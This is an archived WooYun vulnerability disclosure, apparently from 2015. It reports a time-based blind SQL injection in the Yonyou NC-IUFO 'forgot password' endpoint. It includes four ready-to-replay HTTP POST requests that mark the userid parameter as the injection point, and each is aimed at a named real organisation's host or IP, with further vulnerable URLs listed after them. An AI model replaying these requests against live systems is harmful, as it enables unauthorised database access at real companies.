当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-091060

漏洞标题：用友NC-IUFO系统通用SQL注入(三)

相关厂商：用友软件

漏洞作者： 路人甲

提交时间：2015-01-13 17:05

修复时间：2015-04-13 17:06

公开时间：2015-04-13 17:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-13： 细节已通知厂商并且等待厂商处理中
2015-01-13： 厂商已经确认，细节仅向厂商公开
2015-01-16： 细节向第三方安全合作伙伴开放
2015-03-09： 细节向核心白帽子及相关领域专家公开
2015-03-19： 细节向普通白帽子公开
2015-03-29： 细节向实习白帽子公开
2015-04-13： 细节向公众公开

简要描述：

...

详细说明：

该系统“忘记密码”模块存在sql注入漏洞
链接地址为：/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234

QQ图片20150110164630.png


说明：输入用户名和邮箱后提交，程序会提交给 /epp/core（可从抓取的数据包中看到），
漏洞参数：userid
数据库系统：oracle
注入类型：AND/OR time-based blind
这里直接给出证明案例（列出数据库实例名称即可、不深入）：
0x01; http://nc.xhlbdc.com/epp/

POST /epp/core HTTP/1.1
Host: nc.xhlbdc.com
Proxy-Connection: keep-alive
Content-Length: 107
Origin: http://nc.xhlbdc.com
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://nc.xhlbdc.com/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=8438
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=0000zdbG9i3ttIPJ7g2Ayl4KoRm:175j517sp
userid=*&email=&type=forgetPWD&pageId=forgetpwd&pageUniqueId=177ef747-d34f-4076-b627-bf97720fbbdf&isAjax=1


QQ图片20150110165610.jpg


0x02: http://nc.pinggugroup.com:81/epp/

POST /epp/core HTTP/1.1
Host: nc.pinggugroup.com:81
Proxy-Connection: keep-alive
Content-Length: 111
Origin: http://nc.pinggugroup.com:81
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://nc.pinggugroup.com:81/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=7158
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=0000ZPRlAAMZqeOX2_DUd6dPukK:-1
userid=*&email=aaaaa&type=forgetPWD&pageId=forgetpwd&pageUniqueId=ef251f23-ae34-4047-95f0-2f95f3085cf2&isAjax=1


QQ图片20150110165121.jpg


0x03: http://123.232.105.202/epp/

POST /epp/core HTTP/1.1
Host: 123.232.105.202
Proxy-Connection: keep-alive
Content-Length: 111
Origin: http://123.232.105.202
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://123.232.105.202/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=4522
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=0000FoJ4EiDJNB9px4Q_Y3g01j9:-1
userid=*&email=aaaaa&type=forgetPWD&pageId=forgetpwd&pageUniqueId=a4004558-4d36-4b1e-a397-6b8217320613&isAjax=1


QQ图片20150110171850.jpg


0x04: http://zfkg.com:8081/epp/

POST /epp/core HTTP/1.1
Host: zfkg.com:8081
Proxy-Connection: keep-alive
Content-Length: 110
Origin: http://zfkg.com:8081
Method: POST /epp/core HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://zfkg.com:8081/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=843FB4AB3D3B82DDDC089308B9A97A23.server; JSESSIONID=9F6DE9B77CB36498D032BE46B92A6C54.server
userid=*&email=aaaa&type=forgetPWD&pageUniqueId=78c7cfa2-6909-4ee5-b72b-3098364a5369&pageId=forgetpwd&isAjax=1


QQ图片20150110171723.jpg


http://202.136.213.21/epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234
http://61.175.97.50//epp/core/forgetpwd.jsp?pageId=forgetpwd&rand=1234

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-01-13 19:37

厂商回复：

多谢！

最新状态：

暂无